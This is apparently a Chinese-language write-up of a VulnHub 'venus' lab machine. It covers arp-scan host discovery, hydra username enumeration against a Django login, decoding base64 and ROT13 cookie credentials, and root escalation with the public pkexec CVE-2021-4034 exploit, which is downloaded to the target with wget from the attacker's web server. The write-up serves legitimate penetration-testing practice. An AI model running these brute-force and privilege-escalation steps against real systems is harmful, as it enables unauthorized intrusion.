一:主机发现
arp-scan -I eth0 10.4.7.0/24
二:端口扫描
发现开放了22和8080端口
三:敏感目录扫描
四:渗透测试
访问8080端口
他说来宾用户可以登录
我们找到一个 /admin
目录
访问:http://10.4.7.142:8080/admin
它将我们重定向到 Django
管理登录门户:http://10.4.7.142:8080/admin/login/?next=/admin/
当我们尝试一个随机的用户名和密码时,我们得到一个内部服务器错误
但如果我们尝试以访客身份登录但提供的密码不正确,我们会收到“无效密码”,利用这一点,我们可以尝试使用 hydra 枚举其他有效用户。
用户字典使用https://github.com/jeanphorn/wordlist/blob/master/usernames.txt
hydra -L usernames.txt -p guest -s 8080 10.4.7.142 http-post-form "/:username=USER&passwordPASS:Invalid username."
扫出来两个新用户
magellan
venus
现在想办法得到密码
用bp抓包看看
当我们以访客用户身份登录时,会设置一个 auth cookie
,
现在我们向服务器发出的每个请求都会发送该cookie
以验证我们是否已通过身份验证。
base64解密一下
guest:thrfg
venus:thrfg
magellan:thrfg
venus:irahf
magellan:irahfvnatrbybtl1989
得到两个密文,解码一下
venus:venus
magellan:venusiangeology1989
现在密码用户都已经得到,开始尝试登录
发现第二个成功登录
五:开始提权
拿到第一个flag
find提权
find / -perm -u=s -type f 2>/dev/null
权限提升漏洞
Polkit是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。
Polkit在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。
Polkit定义出一系列操作,例如运行 GParted, 并将用户按照群组或用户名进行划分,例如 wheel 群组用户。然后定义每个操作是否可以由某些用户执行,执行操作前是否需要一些额外的确认,例如通过输入密码确认用户是不是属于某个群组。
由于Polkit的 Pkexec工具中存在一处本地权限提升漏洞,致使攻击者可以通过控制环境变量,从而诱导Pkexec执行任意代码。利用成功后,可导致非特权用户获得管理员权限。
sodu需要密码
https://github.com/berdav/CVE-2021-4034
下载这个漏洞
polkit 的 pkexec 实用程序上发现本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。当前版本的 pkexec 无法正确处理调用参数计数,并结束尝试将环境变量作为命令执行。攻击者可以通过创建环境变量来利用这一点,从而诱导 pkexec 执行任意代码。成功执行后,攻击可能会导致本地权限提升,赋予非特权用户在目标计算机上的管理权限。
python3 -m http.server 80
wget http://10.4.7.128/CVE-2021-4034-main.zip
切换到cve目录下
成功提权
searchsploit --cve CVE-2021-4034
标签:http,10.4,用户,Polkit,vulnhub,靶机,权限,venus From: https://www.cnblogs.com/woaishuaidan/p/18038410